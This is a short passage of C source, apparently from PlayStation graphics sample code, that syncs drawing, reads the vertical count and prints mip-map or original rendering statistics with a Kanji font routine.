		DrawSync(0);
		vcount = GsGetVcount();
		if(ismip)
			KanjiFntPrint("(mip-map)  %d\n(%d/%d)",
					vcount, reduct, amount);
		else
			KanjiFntPrint("(original) %d\n(%d/%d)",
					vcount, reduct, amount);
		KanjiFntFlush(-1);
	}
}